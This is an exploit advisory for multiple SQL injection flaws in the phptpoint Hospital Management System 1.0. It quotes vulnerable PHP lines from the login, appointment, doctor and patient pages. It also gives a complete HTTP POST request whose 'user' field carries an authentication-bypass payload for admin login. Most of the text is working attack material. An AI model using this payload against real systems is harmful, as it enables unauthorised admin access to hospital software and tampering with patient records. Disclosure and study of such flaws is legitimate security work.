# Exploit Title:  phptpoint Hospital Management System 1.0 - 'user' SQL injection 
# Date: 2018-10-24
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.phptpoint.com/
# Software Link:  
# Version: 1
# Tested on: WAMP windows 10 x64
# CVE: unknown

# Description:
# Phptpoint hospital management system suffers from multiple SQL injection vulnerabilities that 
# allow an attacker to bypass the login page and authenticate with admin, and then easily 
# get database information or execute arbitrary commands.
 
# LOGIN.php SQL injection

 13  extract($_POST);
 14  if(isset($signIn))
 15  {
 16         //echo $user,$pass;
 17         //for Admin
 18         $que=mysql_query("select user,pass from admin where user='$user' and pass='$pass'");
 19          $row= mysql_num_rows($que);
 20          echo "raw ".$row;
 21          if($row)
 22          {
 23                 $_SESSION['admin']      =$user;
 24                 echo "<script>window.location='alist.php'</script>";

# Payload:

POST /hospital/index.php HTTP/1.1
Host: 172.16.122.4
Content-Length: 38
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/hospital/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85
Connection: close

user=admin%40gmail.com'+OR+1--+&pass=anything&signIn=

# ALIST.php SQLi

33 $todel=$_GET['rno'];
34 mysql_query("update appt SET ashow='N' where ano='$todel' ;");
35 }

# DUNDEL.php SQLi 

21 $rno=$_GET["rno"];
22 mysql_query("update doct set dshow='Y' where dno='$rno'");
23 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
24  echo "<tr><td align=center><a href=dlist.php>Continue...</a></td></tr>";

# PDEL.php SQLi

25 $todel=$_GET['rno'];
26 mysql_query("update Patient SET pshow='N' where pno='$todel' ;");

# PUNDEL.php SQLi

20 $rno=$_GET["rno"];
21
22 
23 mysql_query("update Patient set pshow='Y' where pno='$rno'");
24 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
25 echo "<tr><td align=center><a href=plist.php>Continue...</a></td></tr>";